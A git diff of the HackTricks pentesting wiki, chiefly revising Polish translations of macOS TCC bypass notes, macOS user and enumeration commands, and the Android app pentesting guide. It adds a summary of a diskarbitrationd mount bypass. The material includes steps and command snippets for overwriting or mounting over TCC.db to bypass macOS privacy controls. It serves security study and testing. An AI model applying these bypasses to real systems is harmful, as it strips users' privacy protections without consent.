@@ -193,7 +193,7 @@ To jest tymczasowe zapisanie pliku, po którym następuje **`rename(old, new)`** Nie jest to bezpieczne, ponieważ musi **rozwiązać stare i nowe ścieżki osobno**, co może zająć trochę czasu i może być podatne na warunki wyścigu. Więcej informacji można znaleźć w funkcji `xnu` `renameat_internal()`. > [!CAUTION] -> Więc, zasadniczo, jeśli proces z uprawnieniami zmienia nazwę z folderu, który kontrolujesz, możesz uzyskać RCE i sprawić, że uzyska dostęp do innego pliku lub, jak w tym CVE, otworzyć plik, który utworzył aplikacja z uprawnieniami i przechować FD. +> Więc, zasadniczo, jeśli proces z uprawnieniami zmienia nazwę z folderu, który kontrolujesz, możesz uzyskać RCE i sprawić, że uzyska dostęp do innego pliku lub, jak w tym CVE, otworzyć plik utworzony przez aplikację z uprawnieniami i przechować FD. > > Jeśli zmiana nazwy uzyskuje dostęp do folderu, który kontrolujesz, podczas gdy zmodyfikowałeś plik źródłowy lub masz do niego FD, zmieniasz plik docelowy (lub folder), aby wskazywał na symlink, więc możesz pisać, kiedy chcesz. @@ -203,10 +203,10 @@ To był atak w tym CVE: Na przykład, aby nadpisać `TCC.db` użytkownika, może - utworzyć katalog `/Users/hacker/tmp/` - ustawić `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db` - wywołać błąd, uruchamiając `Music` z tą zmienną środowiskową -- przechwycić `open()` `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X jest losowe) +- przechwycić `open()` `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X jest losowy) - tutaj również `open()` ten plik do zapisu i trzymamy uchwyt do deskryptora pliku - atomowo zamienić `/Users/hacker/tmp` z `/Users/hacker/ourlink` **w pętli** -- robimy to, aby zmaksymalizować nasze szanse na sukces, ponieważ okno wyścigu jest dość wąskie, ale przegrana w wyścigu ma znikome negatywne skutki +- robimy to, aby zmaksymalizować nasze szanse na sukces, ponieważ okno wyścigu jest dość wąskie, ale przegranie wyścigu ma znikome negatywne skutki - poczekać chwilę - sprawdzić, czy mieliśmy szczęście - jeśli nie, uruchomić ponownie od początku @@ -336,7 +336,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox ``` -Dla uzyskania dodatkowych informacji na temat łatwego wykorzystania tego [**sprawdź oryginalny raport**](https://wojciechregula.blog/post/how-to-rob-a-firefox/). +Aby uzyskać więcej informacji na temat łatwego wykorzystania tego [**sprawdź oryginalny raport**](https://wojciechregula.blog/post/how-to-rob-a-firefox/). ### CVE-2020-10006 @@ -378,11 +378,11 @@ launchctl load com.telegram.launcher.plist ``` ## Poprzez otwarte wywołania -Możliwe jest wywołanie **`open`** nawet w trybie sandbox. +Możliwe jest wywołanie **`open`** nawet w trybie piaskownicy ### Skrypty terminala -Jest to dość powszechne, aby przyznać terminalowi **Pełny dostęp do dysku (FDA)**, przynajmniej na komputerach używanych przez osoby z branży technologicznej. I możliwe jest wywołanie skryptów **`.terminal`** z jego użyciem. +Jest to dość powszechne, aby przyznać terminalowi **Pełny dostęp do dysku (FDA)**, przynajmniej w komputerach używanych przez osoby techniczne. I możliwe jest wywołanie skryptów **`.terminal`** z jego użyciem. Skrypty **`.terminal`** to pliki plist, takie jak ten, z poleceniem do wykonania w kluczu **`CommandString`**: ```xml @@ -442,7 +442,7 @@ Bardziej szczegółowe wyjaśnienie można [**znaleźć w oryginalnym raporcie** ### CVE-2021-1784 & CVE-2021-30808 - Montowanie nad plikiem TCC -Nawet jeśli plik bazy danych TCC jest chroniony, możliwe było **zamontowanie nowego pliku TCC.db nad katalogiem**: +Nawet jeśli plik bazy danych TCC jest chroniony, możliwe było **zamontowanie nowego pliku TCC.db** w tym katalogu: ```bash # CVE-2021-1784 ## Mount over Library/Application\ Support/com.apple.TCC @@ -465,6 +465,14 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null") ``` Sprawdź **pełny exploit** w [**oryginalnym opisie**](https://theevilbit.github.io/posts/cve-2021-30808/). +### CVE-2024-40855 + +Jak wyjaśniono w [oryginalnym opisie](https://www.kandji.io/blog/macos-audit-story-part2), ten CVE wykorzystał `diskarbitrationd`. + +Funkcja `DADiskMountWithArgumentsCommon` z publicznego frameworka `DiskArbitration` przeprowadzała kontrole bezpieczeństwa. Jednak możliwe jest jej obejście poprzez bezpośrednie wywołanie `diskarbitrationd`, a tym samym użycie elementów `../` w ścieżce i symlinków. + +To pozwoliło atakującemu na wykonywanie dowolnych montażów w dowolnej lokalizacji, w tym nad bazą danych TCC z powodu uprawnienia `com.apple.private.security.storage-exempt.heritable` `diskarbitrationd`. + ### asr Narzędzie **`/usr/sbin/asr`** pozwalało na skopiowanie całego dysku i zamontowanie go w innym miejscu, omijając zabezpieczenia TCC. @@ -474,13 +482,13 @@ Narzędzie **`/usr/sbin/asr`** pozwalało na skopiowanie całego dysku i zamonto Istnieje trzecia baza danych TCC w **`/var/db/locationd/clients.plist`**, aby wskazać klientów, którzy mają **dostęp do usług lokalizacyjnych**.\ Folder **`/var/db/locationd/` nie był chroniony przed montowaniem DMG**, więc możliwe było zamontowanie naszego własnego plist. -## Przez aplikacje uruchamiane przy starcie +## Poprzez aplikacje uruchamiane przy starcie {{#ref}} ../../../../macos-auto-start-locations.md {{#endref}} -## Przez grep +## Poprzez grep W kilku przypadkach pliki będą przechowywać wrażliwe informacje, takie jak e-maile, numery telefonów, wiadomości... w niechronionych lokalizacjach (co liczy się jako luka w Apple). diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md index a18c0782c..d7ca040ef 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md @@ -1,35 +1,33 @@ -# macOS Users & External Accounts +# Użytkownicy macOS i konta zewnętrzne {{#include ../../banners/hacktricks-training.md}} -## Common Users +## Wspólni użytkownicy -- **Daemon**: User reserved for system daemons. The default daemon account names usually start with a "\_": +- **Daemon**: Użytkownik zarezerwowany dla demonów systemowych. Domyślne nazwy kont demonów zazwyczaj zaczynają się od "\_": - ```bash - _amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs - ``` - -- **Guest**: Account for guests with very strict permissions +```bash +_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs +``` +- **Gość**: Konto dla gości z bardzo restrykcyjnymi uprawnieniami ```bash state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess") for i in "${state[@]}"; do sysadminctl -"${i}" status; done; ``` - -- **Nobody**: Processes are executed with this user when minimal permissions are required +- **Nikt**: Procesy są wykonywane z tym użytkownikiem, gdy wymagane są minimalne uprawnienia - **Root** -## User Privileges +## Uprawnienia użytkowników -- **Standard User:** The most basic of users. This user needs permissions granted from an admin user when attempting to install software or perform other advanced tasks. They are not able to do it on their own. -- **Admin User**: A user who operates most of the time as a standard user but is also allowed to perform root actions such as install software and other administrative tasks. All users belonging to the admin group are **given access to root via the sudoers file**. -- **Root**: Root is a user allowed to perform almost any action (there are limitations imposed by protections like System Integrity Protection). - - For example root won't be able to place a file inside `/System` +- **Użytkownik standardowy:** Najbardziej podstawowy użytkownik. Ten użytkownik potrzebuje uprawnień przyznanych przez użytkownika admina, gdy próbuje zainstalować oprogramowanie lub wykonać inne zaawansowane zadania. Nie jest w stanie zrobić tego samodzielnie. +- **Użytkownik admina**: Użytkownik, który działa przez większość czasu jako użytkownik standardowy, ale ma również prawo do wykonywania działań root, takich jak instalacja oprogramowania i inne zadania administracyjne. Wszyscy użytkownicy należący do grupy admin mają **dostęp do roota za pośrednictwem pliku sudoers**. +- **Root**: Root to użytkownik, któremu zezwala się na wykonywanie prawie każdej akcji (istnieją ograniczenia nałożone przez zabezpieczenia, takie jak System Integrity Protection). +- Na przykład root nie będzie w stanie umieścić pliku w `/System` -## External Accounts +## Konta zewnętrzne -MacOS also support to login via external identity providers such as FaceBook, Google... The main daemon performing this job is `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) and it's possible to find plugins used for external authentication inside the folder `/System/Library/Accounts/Authentication/`.\ -Moreover, `accountsd` gets the list of account types from `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`. +MacOS obsługuje również logowanie za pośrednictwem zewnętrznych dostawców tożsamości, takich jak FaceBook, Google... Główny demon wykonujący tę pracę to `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) i możliwe jest znalezienie wtyczek używanych do zewnętrznej autoryzacji w folderze `/System/Library/Accounts/Authentication/`.\ +Ponadto `accountsd` pobiera listę typów kont z `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-useful-commands.md b/src/macos-hardening/macos-useful-commands.md index 53e6dc36e..94c79e671 100644 --- a/src/macos-hardening/macos-useful-commands.md +++ b/src/macos-hardening/macos-useful-commands.md @@ -1,15 +1,14 @@ -# macOS Useful Commands +# macOS Przydatne Komendy {{#include ../banners/hacktricks-training.md}} -### MacOS Automatic Enumeration Tools +### Narzędzia Automatycznej Enumeracji MacOS - **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) - **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb) - **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt) -### Specific MacOS Commands - +### Specyficzne Komendy MacOS ```bash #System info date @@ -111,25 +110,21 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist (enable ssh) sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist (disable ssh) #Start apache sudo apachectl (start|status|restart|stop) - ##Web folder: /Library/WebServer/Documents/ +##Web folder: /Library/WebServer/Documents/ #Remove DNS cache dscacheutil -flushcache sudo killall -HUP mDNSResponder ``` +### Zainstalowane oprogramowanie i usługi -### Installed Software & Services - -Check for **suspicious** applications installed and **privileges** over the.installed resources: - +Sprawdź **podejrzane** aplikacje zainstalowane oraz **uprawnienia** do zainstalowanych zasobów: ``` system_profiler SPApplicationsDataType #Installed Apps system_profiler SPFrameworksDataType #Instaled framework lsappinfo list #Installed Apps launchctl list #Services ``` - -### User Processes - +### Procesy użytkownika ```bash # will print all the running services under that particular user domain. launchctl print gui/ @@ -140,10 +135,9 @@ launchctl print system # will print detailed information about the specific launch agent. And if it’s not running or you’ve mistyped, you will get some output with a non-zero exit code: Could not find service “com.company.launchagent.label” in domain for login launchctl print gui//com.company.launchagent.label ``` +### Utwórz użytkownika -### Create a user - -Without prompts +Bez podpowiedzi
diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 30d1154ce..5670653db 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -1,25 +1,10 @@ -# Pentesting Aplikacji Android +# Testowanie aplikacji na Androida {{#include ../../banners/hacktricks-training.md}} -
+## Podstawy aplikacji na Androida -Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów! - -**Wgląd w Hacking**\ -Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem - -**Aktualności Hackingowe w Czasie Rzeczywistym**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom - -**Najnowsze Ogłoszenia**\ -Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacjach platformy - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! - -## Podstawy Aplikacji Android - -Zaleca się rozpoczęcie od przeczytania tej strony, aby poznać **najważniejsze części związane z bezpieczeństwem Androida oraz najniebezpieczniejsze komponenty w aplikacji Android**: +Zaleca się rozpoczęcie od przeczytania tej strony, aby poznać **najważniejsze części związane z bezpieczeństwem Androida oraz najbardziej niebezpieczne komponenty w aplikacji na Androida**: {{#ref}} android-applications-basics.md @@ -27,19 +12,19 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -To główne narzędzie, którego potrzebujesz, aby połączyć się z urządzeniem android (emulowanym lub fizycznym).\ -**ADB** pozwala na kontrolowanie urządzeń zarówno przez **USB**, jak i **Sieć** z komputera. To narzędzie umożliwia **kopiowanie** plików w obie strony, **instalację** i **odinstalację** aplikacji, **wykonywanie** poleceń powłoki, **tworzenie kopii zapasowych** danych, **odczytywanie** logów, wśród innych funkcji. +To główne narzędzie, którego potrzebujesz, aby połączyć się z urządzeniem z Androidem (emulowanym lub fizycznym).\ +**ADB** pozwala na kontrolowanie urządzeń zarówno przez **USB**, jak i **sieć** z komputera. To narzędzie umożliwia **kopiowanie** plików w obie strony, **instalację** i **odinstalację** aplikacji, **wykonywanie** poleceń powłoki, **tworzenie kopii zapasowych** danych, **odczytywanie** logów, wśród innych funkcji. -Zobacz poniższą listę [**Poleceń ADB**](adb-commands.md), aby dowiedzieć się, jak używać adb. +Zobacz poniższą listę [**poleceń ADB**](adb-commands.md), aby dowiedzieć się, jak używać adb. ## Smali -Czasami interesujące jest **modyfikowanie kodu aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (może dobrze obfuskowanych haseł lub flag). Wtedy może być interesujące dekompilowanie apk, modyfikowanie kodu i ponowne kompilowanie go.\ -[**W tym samouczku** możesz **dowiedzieć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Pamiętaj, **aby zawsze mieć na uwadze tę możliwość**. +Czasami interesujące jest **modyfikowanie kodu aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (może dobrze zafałszowanych haseł lub flag). Wtedy może być interesujące dekompilowanie apk, modyfikowanie kodu i ponowne kompilowanie go.\ +[**W tym samouczku** możesz **nauczyć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Dlatego **zawsze miej na uwadze tę możliwość**. ## Inne interesujące triki -- [Podrabianie lokalizacji w Sklepie Play](spoofing-your-location-in-play-store.md) +- [Podrabianie swojej lokalizacji w Sklepie Play](spoofing-your-location-in-play-store.md) - **Pobieranie APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - Ekstrakcja APK z urządzenia: ```bash @@ -67,24 +52,24 @@ Proszę, [**przeczytaj tutaj, aby znaleźć informacje o różnych dostępnych d ### Szukanie interesujących informacji -Samo spojrzenie na **ciągi** APK pozwala na wyszukiwanie **haseł**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **kluczy** **api**, **szyfrowania**, **uuid bluetooth**, **tokenów** i wszystkiego, co może być interesujące... szukaj nawet **tylnych drzwi** do wykonania kodu lub tylnych drzwi autoryzacyjnych (twardo zakodowane dane logowania administratora do aplikacji). +Samo spojrzenie na **ciągi** APK pozwala na wyszukiwanie **haseł**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **kluczy** **api**, **szyfrowania**, **uuid bluetooth**, **tokenów** i wszystkiego, co może być interesujące... szukaj nawet **tylnych drzwi** do wykonania kodu lub tylnych drzwi uwierzytelniających (twardo zakodowane dane logowania administratora do aplikacji). **Firebase** -Zwróć szczególną uwagę na **adresy URL Firebase** i sprawdź, czy są źle skonfigurowane. [Więcej informacji o tym, czym jest Firebase i jak go wykorzystać, znajdziesz tutaj.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Zwróć szczególną uwagę na **adresy URL Firebase** i sprawdź, czy są źle skonfigurowane. [Więcej informacji na temat tego, czym jest Firebase i jak go wykorzystać, znajdziesz tutaj.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Podstawowe zrozumienie aplikacji - Manifest.xml, strings.xml -**Badanie plików \_Manifest.xml**_\*\* i \*\*_**strings.xml**\_\*\* aplikacji może ujawnić potencjalne luki w zabezpieczeniach\*\*. Pliki te można uzyskać za pomocą dekompilatorów lub przez zmianę rozszerzenia pliku APK na .zip, a następnie jego rozpakowanie. +**Badanie plików \_Manifest.xml**_\*\* i \*\*_**strings.xml**\_\*\* może ujawnić potencjalne luki w zabezpieczeniach\*\*. Pliki te można uzyskać za pomocą dekompilatorów lub przez zmianę rozszerzenia pliku APK na .zip, a następnie rozpakowanie go. **Luki** zidentyfikowane w **Manifest.xml** obejmują: - **Aplikacje debugowalne**: Aplikacje ustawione jako debugowalne (`debuggable="true"`) w pliku _Manifest.xml_ stanowią ryzyko, ponieważ pozwalają na połączenia, które mogą prowadzić do wykorzystania. Aby lepiej zrozumieć, jak wykorzystać aplikacje debugowalne, zapoznaj się z samouczkiem na temat znajdowania i wykorzystywania aplikacji debugowalnych na urządzeniu. -- **Ustawienia kopii zapasowej**: Atrybut `android:allowBackup="false"` powinien być wyraźnie ustawiony dla aplikacji obsługujących wrażliwe informacje, aby zapobiec nieautoryzowanym kopiom zapasowym danych za pomocą adb, szczególnie gdy debugowanie USB jest włączone. +- **Ustawienia kopii zapasowej**: Atrybut `android:allowBackup="false"` powinien być wyraźnie ustawiony dla aplikacji zajmujących się wrażliwymi informacjami, aby zapobiec nieautoryzowanym kopiom zapasowym danych za pomocą adb, szczególnie gdy debugowanie USB jest włączone. - **Bezpieczeństwo sieci**: Niestandardowe konfiguracje bezpieczeństwa sieci (`android:networkSecurityConfig="@xml/network_security_config"`) w _res/xml/_ mogą określać szczegóły bezpieczeństwa, takie jak przypinanie certyfikatów i ustawienia ruchu HTTP. Przykładem jest zezwolenie na ruch HTTP dla określonych domen. -- **Eksportowane aktywności i usługi**: Identyfikacja eksportowanych aktywności i usług w manifeście może uwydatnić komponenty, które mogą być nadużywane. Dalsza analiza podczas testowania dynamicznego może ujawnić, jak wykorzystać te komponenty. -- **Dostawcy treści i FileProviders**: Ujawnieni dostawcy treści mogą umożliwić nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders powinna być również dokładnie sprawdzona. -- **Odbiorniki rozgłoszeniowe i schematy URL**: Te komponenty mogą być wykorzystywane do eksploatacji, z szczególnym uwzględnieniem sposobu zarządzania schematami URL w kontekście luk w zabezpieczeniach wejścia. +- **Eksportowane aktywności i usługi**: Identyfikacja eksportowanych aktywności i usług w manifeście może uwydatnić komponenty, które mogą być nadużywane. Dalsza analiza podczas testów dynamicznych może ujawnić, jak wykorzystać te komponenty. +- **Dostawcy treści i FileProviders**: Ujawnione dostawcy treści mogą umożliwić nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders powinna być również dokładnie sprawdzona. +- **Odbiorniki rozgłoszeniowe i schematy URL**: Te komponenty mogą być wykorzystywane do eksploatacji, z szczególną uwagą na to, jak zarządzane są schematy URL w kontekście luk wejściowych. - **Wersje SDK**: Atrybuty `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` wskazują obsługiwane wersje Androida, podkreślając znaczenie nieobsługiwania przestarzałych, podatnych wersji Androida z powodów bezpieczeństwa. Z pliku **strings.xml** można odkryć wrażliwe informacje, takie jak klucze API, niestandardowe schematy i inne notatki dewelopera, co podkreśla potrzebę starannego przeglądu tych zasobów. @@ -102,7 +87,7 @@ tapjacking.md ### Przechwytywanie zadań -**Aktywność** z ustawionym **`launchMode`** na **`singleTask` bez zdefiniowanego `taskAffinity`** jest podatna na przechwytywanie zadań. Oznacza to, że **aplikacja** może być zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przechwycić zadanie prawdziwej aplikacji** (więc użytkownik będzie interagował z **złośliwą aplikacją, myśląc, że używa prawdziwej**). +**Aktywność** z ustawionym **`launchMode`** na **`singleTask`** bez zdefiniowanego `taskAffinity` jest podatna na przechwytywanie zadań. Oznacza to, że **aplikacja** może być zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przechwycić zadanie prawdziwej aplikacji** (więc użytkownik będzie interagował z **złośliwą aplikacją, myśląc, że używa prawdziwej**). Więcej informacji w: @@ -110,16 +95,16 @@ Więcej informacji w: android-task-hijacking.md {{#endref}} -### Niezabezpieczone przechowywanie danych +### Niebezpieczne przechowywanie danych **Przechowywanie wewnętrzne** -W Androidzie pliki **przechowywane** w **przechowywaniu wewnętrznym** są **zaplanowane** do bycia **dostępnymi** wyłącznie przez **aplikację**, która je **utworzyła**. Ten środek bezpieczeństwa jest **egzekwowany** przez system operacyjny Android i jest zazwyczaj wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami wykorzystują tryby takie jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **pozwolić** na **dzielenie się** plikami między różnymi aplikacjami. Niemniej jednak, te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe. +W Androidzie pliki **przechowywane** w **przechowywaniu wewnętrznym** są **zaplanowane** do **dostępu** wyłącznie przez **aplikację**, która je **utworzyła**. Ten środek bezpieczeństwa jest **egzekwowany** przez system operacyjny Android i jest zazwyczaj wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami wykorzystują tryby takie jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **zezwolić** na **dzielenie się** plikami między różnymi aplikacjami. Niemniej jednak, te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe. 1. **Analiza statyczna:** -- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **starannie analizowane**. Te tryby **mogą potencjalnie ujawniać** pliki **niezamierzonym lub nieautoryzowanym dostępem**. +- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **dokładnie sprawdzane**. Te tryby **mogą potencjalnie ujawniać** pliki **niezamierzonym lub nieautoryzowanym dostępem**. 2. **Analiza dynamiczna:** -- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. Szczególnie **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoli **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia czy zamiaru, na **odczyt lub modyfikację** tych plików. +- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. Szczególnie **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoli **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia lub zamiaru, na **odczyt lub modyfikację** tych plików. **Przechowywanie zewnętrzne** @@ -131,21 +116,21 @@ Podczas pracy z plikami na **przechowywaniu zewnętrznym**, takim jak karty SD, - Biorąc pod uwagę łatwość dostępu, zaleca się **nieprzechowywanie wrażliwych informacji** na zewnętrznym przechowywaniu. - Zewnętrzne przechowywanie może być usunięte lub dostępne przez każdą aplikację, co czyni je mniej bezpiecznym. 3. **Obsługa danych z zewnętrznego przechowywania**: -- Zawsze **przeprowadzaj walidację wejścia** na danych pobranych z zewnętrznego przechowywania. To jest kluczowe, ponieważ dane pochodzą z nieznanego źródła. +- Zawsze **przeprowadzaj walidację wejścia** na danych pobranych z zewnętrznego przechowywania. Jest to kluczowe, ponieważ dane pochodzą z nieznanego źródła. - Przechowywanie plików wykonywalnych lub klas na zewnętrznym przechowywaniu do dynamicznego ładowania jest zdecydowanie odradzane. - Jeśli Twoja aplikacja musi pobrać pliki wykonywalne z zewnętrznego przechowywania, upewnij się, że te pliki są **podpisane i kryptograficznie weryfikowane** przed ich dynamicznym załadowaniem. Ten krok jest kluczowy dla utrzymania integralności bezpieczeństwa Twojej aplikacji. Zewnętrzne przechowywanie można **uzyskać** w `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` > [!NOTE] -> Zaczynając od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. To zapobiega złośliwej aplikacji w uzyskaniu dostępu do plików innej aplikacji. +> Począwszy od Androida 4.4 (**API 17**), karta SD ma strukturę katalogów, która **ogranicza dostęp aplikacji do katalogu, który jest specjalnie przeznaczony dla tej aplikacji**. To zapobiega złośliwej aplikacji uzyskiwaniu dostępu do plików innej aplikacji w trybie odczytu lub zapisu. **Wrażliwe dane przechowywane w postaci niezaszyfrowanej** - **Preferencje współdzielone**: Android pozwala każdej aplikacji na łatwe zapisywanie plików xml w ścieżce `/data/data//shared_prefs/` i czasami możliwe jest znalezienie wrażliwych informacji w postaci niezaszyfrowanej w tym folderze. - **Bazy danych**: Android pozwala każdej aplikacji na łatwe zapisywanie baz danych sqlite w ścieżce `/data/data//databases/` i czasami możliwe jest znalezienie wrażliwych informacji w postaci niezaszyfrowanej w tym folderze. -### Uszkodzony TLS +### Uszkodzone TLS **Akceptuj wszystkie certyfikaty** @@ -160,7 +145,7 @@ Dobrą metodą na przetestowanie tego jest próba przechwycenia ruchu za pomocą **Słabe procesy zarządzania kluczami** -Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/predykcyjnym w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie może pozwolić atakującym na wydobycie poufnych informacji. +Niektórzy deweloperzy zapisują wrażliwe dane w lokalnej pamięci i szyfrują je kluczem zakodowanym/łatwym do przewidzenia w kodzie. Nie powinno się tego robić, ponieważ pewne odwracanie może pozwolić atakującym na wydobycie poufnych informacji. **Użycie niebezpiecznych i/lub przestarzałych algorytmów** @@ -194,9 +179,9 @@ Przeczytaj następującą stronę, aby dowiedzieć się, jak łatwo uzyskać dos Zgodnie z tym [**postem na blogu**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superzapakowane to algorytm Meta, który kompresuje zawartość aplikacji do jednego pliku. Blog mówi o możliwości stworzenia aplikacji, która dekompresuje tego rodzaju aplikacje... oraz szybszym sposobie, który polega na **wykonaniu aplikacji i zebraniu zdekompresowanych plików z systemu plików.** -### Zautomatyzowana analiza statycznego kodu +### Zautomatyzowana analiza statyczna kodu -Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **luki** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera szereg **znanych 